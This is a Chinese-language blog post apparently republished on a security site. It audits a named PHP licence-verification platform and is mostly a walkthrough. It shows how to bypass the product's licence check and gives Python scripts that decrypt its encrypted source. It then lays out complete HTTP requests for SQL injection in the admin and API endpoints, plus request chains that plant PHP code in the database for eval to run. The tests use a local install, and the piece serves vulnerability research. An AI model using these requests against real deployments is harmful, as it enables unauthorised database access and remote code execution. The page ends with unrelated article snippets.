<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    某網絡驗證平臺代碼審計

    Ann2022-05-24 13:33:19

    前言

    剛過完年的時候在XXX社區看到了這篇文章《記一次滲透實戰-代碼審計到getshell》

    通過搜索發現對應的是 冰心網絡驗證 

    http://wlyz.bingxs.com/ 于是嘗試在本地進行安裝進行審計

    下載安裝包 

    https://teorun.lanzout.com/izfhn

    下載安裝后,我們看到如果利用 phpstudy 設定域名,或者非 127.0.0.1 的 ip 地址時均需要進行授權



    具體的校驗,我們可以查看代碼 index.php 中包含了 core/common.php



    core/common.php 被進行了加密,猜測是當設定了域名或者 127.0.0.1 的 ip 時,就向官網進行授權驗證,所以既可以通過 127.0.0.1 來進行分析,也可以通過屏蔽 host 來實現繞過。



    繼續進行分析時,發現部分代碼進行了加密 core/lib/Db.php



    新學到的知識點,通過動態調試來獲取文件代碼(只在 vscode 上執行成功,phpstom 上會提示 Cannot find a local copy of the file on server 就是本地文件與遠程文件不匹配)

    我們找到調用加密文件的位置

    app\admin\controller\Home.php



    管理員登錄的地方會調用 core/lib/Db.php 文件,添加斷點,啟動調試,然后管理員登錄

    程序執行到斷點位置后,單步調試進入程序內部,發現會生成臨時文件,將文件進行了解密



    如此可以得出所有文件

    在線格式化

     http://dezend.qiling.org/format/

    同時也可以通過這種方法,獲取文件的源代碼

    將文件中的 eval 替換為 echo




    將獲取的數值替換后半部分,同時 eval 再次替換為 echo



    查看網頁源代碼就獲取了文件的代碼



    根據解密過程寫一個解密腳本




    import osimport refilename = "index.php"with open(filename, 'r') as read_file:    contents = read_file.read()    decode_content = contents.replace("eval","echo")with open(filename,'w') as write_file:    write_file.write(decode_content)os.system("php "+filename+"> 1.php")with open("1.php", 'r') as read_file:    content1 = read_file.read()    decode_content1 = content1.replace("eval","echo")  with open("1.php", 'w') as write_file:    data = re.findall(';(e.*?\;)',decode_content)[0]    data = decode_content.replace(data,decode_content1)    write_file.write(data)os.system("php 1.php > "+filename)os.unlink("1.php")
    


    大佬的解密腳本!!差距呀!!!



    import shutilimport osimport re
    def decode(fileName):    tempFile = "temp.php"    originContent = open(fileName,'r').read()    dataList = re.findall('(\<\?php.*?\>)',originContent.replace('', ' ').replace('\r', ' '))    fileResult = ""    for data in dataList:        flag = 0        while(1):            Content = open(fileName,'r').read()            if(flag == 0):                Content = data                flag = 1            if len(Content) <= 10:                Content = data            if 'eval' in Content:                tempContent = Content.replace("eval","echo")                open(fileName,'w').write(tempContent)                os.system("php {fileName} > {tempFile}".format(fileName=fileName,tempFile=tempFile))                shutil.copyfile(tempFile, fileName)            else:                try:                    result = re.findall('(eval\(.*?\);)',data)[0]                    result = data.replace(result,"echo('+Content)                    open(fileName,'w').write(result)                    shutil.copyfile(fileName, tempFile)                    os.system("php {tempFile} > {fileName}".format(tempFile=tempFile,fileName=fileName))                    os.unlink(tempFile)                    break                except:                    open(fileName,'w').write(data)                    shutil.copyfile(fileName, tempFile)                    os.system("php {tempFile} > {fileName}".format(tempFile=tempFile,fileName=fileName))                    os.unlink(tempFile)                    break        fileContent = open(fileName,'r').read()        fileResult += fileContent    open(fileName,'w').write(fileResult)
    def banner():    logo = r"""       .__               __          ________                         .___  ______ |  |__ ______    |__| _____   \______ \   ____  ____  ____   __| _/____  \____ \|  |  \\____ \   |  |/     \   |    |  \_/ __ _/ ___\/  _ \ / __ _/ __ \ |  |_> |   Y  |  |_> >  |  |  Y Y  \  |    `   \  ___\  \__(  <_> / /_/ \  ___/ |   __/|___|  |   __/\__|  |__|_|  / /_______  /\___  \___  \____/\____ |\___  >|__|        \/|__|  \______|     \/          \/     \/    \/           \/    \/ 
    Powered by dota_stBlog's: https://www.wlhhlc.top/"""    print(logo)
    def main():    fileName = "test.php"    while(1):        result = open(fileName,'r').read()        print(f"\033[1;32m====================...Decrypting...========================\033[0m"+"")        print(result+"")        print(f"\033[1;32m============================================================\033[0m")        flag = re.findall(r'({[0-9]})',result)        if flag:            decode(fileName)        else:            print(f"\033[1;34m[*]Decryption complete!\033[0m")            break
    if __name__ == '__main__':    banner()    main()
    


    通過正則匹配找到對應未對 SQL 語句處理的位置



    SQL注入










    \app\admin\controller\CardType::softwareLists



    \app\admin\model\CardType::softwareLists



    \core\lib\Db::select




    POST /index.php/admin/CardType/softwareLists HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 49
    id=1+and+updatexml(1,concat(1,(select+user())),1)
    



    后臺其實存在兩個后臺 admin 和 agent agent 存在默認用戶但是無法登錄,所以對應尋找前臺注入時應該關注 /api 模塊下的數據

    \app\api\controller\Common



    只要繼承了 Common 的類都可以實現sql 注入




    POST /index.php/api/SingleCard/1 HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 56
    data=1&id=1+and+updatexml(1,concat(1,(select+user())),1)
    



    命令執行 












    我們全局搜索 eval ,發現會去執行從數據庫查詢的值。而通過注入我們這個值是可控的



    如此構造注入語句的話就可以實現代碼執行,但是我們在前端進行測試的時候,并未成功



    單引號會被轉義,所以無法執行成功,我們已經知道會去執行數據庫中的值,我們現在就是要找到傳入并可控的位置

    app/admin/model/Software.php 中有對 software 數據庫的添加操作,但是對應需要設定的兩個字段 defined_encrypt 與 encrypt 均為設定的值



    通過 editEncrypt 可以對參數 defined_encrypt 與 encrypt 進行修改

    \app\admin\controller\Software::editEncrypt



    所以構造這三個數據包,就可以實現代碼執行了



    POST /index.php/admin/Software/add HTTP/1.1Host: 127.0.0.1Content-Length: 275Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close
    name=1&heart_time=180&version=1?ice=1&static_data=1&give_time=1&give_point=1&login_type=1&update_data=1&update_type=1&trial_interval=1&trial_data=1&software_state=1&binding_type=1&bindingdel_type=1&bindingdel_time=1&bindingdel_point=1&restrict_regtime=24&restrict_regnum=3
    




    POST /index.php/admin/Software/editEncrypt HTTP/1.1Host: 127.0.0.1Content-Length: 55Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close
    id=2&encrypt=defined_encrypt&defined_encrypt=phpinfo();
    




    POST /index.php/api/SingleCard/1 HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 11
    data=1&id=2
    



    另一條鏈路需要構造這樣的數據包



    POST /index.php/admin/Software/add HTTP/1.1Host: 127.0.0.1Content-Length: 275Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close
    name=1&heart_time=180&version=1?ice=1&static_data=1&give_time=1&give_point=1&login_type=1&update_data=1&update_type=1&trial_interval=1&trial_data=1&software_state=1&binding_type=1&bindingdel_type=1&bindingdel_time=1&bindingdel_point=1&restrict_regtime=24&restrict_regnum=3
    




    POST /index.php/admin/Software/editEncrypt HTTP/1.1Host: 127.0.0.1Content-Length: 34Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close
    id=3&encrypt=no&defined_encrypt=no
    




    POST /index.php/admin/Software/editRemote HTTP/1.1Host: 127.0.0.1Content-Length: 22Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close
    id=3&remote=phpinfo();
    




    POST /index.php/api/Software/remoteFun HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 20
    id=3&data={"name":1}
    



    總結

    完事兒完事兒!!!圖片稍微有點兒糊,我也不知道為啥,粘圖也很累。

    網絡驗證eval
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    剛過完年的時候在XXX社區看到了這篇文章《記一次滲透實戰-代碼審計到getshell》 通過搜索發現對應的是 冰心網絡驗證 http://wlyz.bingxs.com/ 于是嘗試在本地進行安裝進行審計 下載安裝包 https://teorun.lanzout.com/izfhn 下載安裝后,我們看到如果利用 phpstudy 設定域名,或者非 127.0.0.1 的 ip 地址時
    0x00前言 接到任務,需要對一些違法網站做滲透測試…… 0x01信息收集 根據提供的目標,打開網站如下
    0x00前言接到任務,需要對一些違法網站做滲透測試……最終定位到該系統為某網絡驗證系統下載最新版的代碼到本地,開始審計。
    網絡彈性一詞被定義為“系統在不利條件或壓力下繼續運行的能力,即使處于降級或過載狀態,同時保持基本的操作能力,并在符合任務需求的時間框架內恢復到有效的操作狀態。
    使用完整性檢查來防止執行被破壞的二進制文件。此外,COBIT實踐DSS05.04管理用戶身份和邏輯訪問規定,所有用戶必須根據業務要求分配信息訪問權限。對靜態和動態的數據進行加密有助于保護機密性。COBIT管理實踐DSS05.07管理漏洞和監控安全相關事件的基礎設施中強調,安全工具、技術和檢測與一般事件監控和事件管理相結合是非常重要的。其解決方案是在允許第三方訪問其API之前實施嚴格的審查程序。
    零信任作為一種新的網絡安全架構,已成為全面提升網絡防御能力的重要手段。零信任基于“永不信任,始終驗證”的原則,指導構建以“數據為中心”的安全防護架構,一旦部署成功,將極大提高網絡防御能力與安全水平。
    1 介紹XSS 是網絡中最常見的漏洞,再配合其它的攻擊手段往往能輕易敲開服務器的大門。在各大漏洞平臺中,XSS 漏洞也是數量最多的。傳播記錄描述了數據從 source 到 sink 的變化過程,傳播記錄的完整性直接影響 XSS 的檢測結果。眾所周知,觸發 XSS 漏洞的字符串往往是來自于不同 source 的字符的組合,如果不能完整記錄數據變化的過程或做不到字符級別的描述,那將會產生大量的漏報。做好以下這些 API 的記錄就可以最大程度保證傳播記錄的完整性。
    威斯康星大學麥迪遜分校的一組研究人員已將一個概念驗證擴展上傳到 Chrome 網上應用店,該擴展可以從網站的源代碼中竊取純文本密碼。
    據外媒報道,9月16日,獨立安全評估者(Independent Security Evaluators)的研究人員發布相關報告,披露了13種品牌的小型辦公室/家庭路由器和網絡附加存儲設備中的125處漏洞。受到影響廠家包括:巴比祿、群暉科技、鐵威馬、合勤科技、Drobo、華碩及其子公司華蕓科技、希捷、QNAP、聯想、美國網件、小米和Zioncom(TOTOLINK)。
    Ann
    暫無描述
      亚洲 欧美 自拍 唯美 另类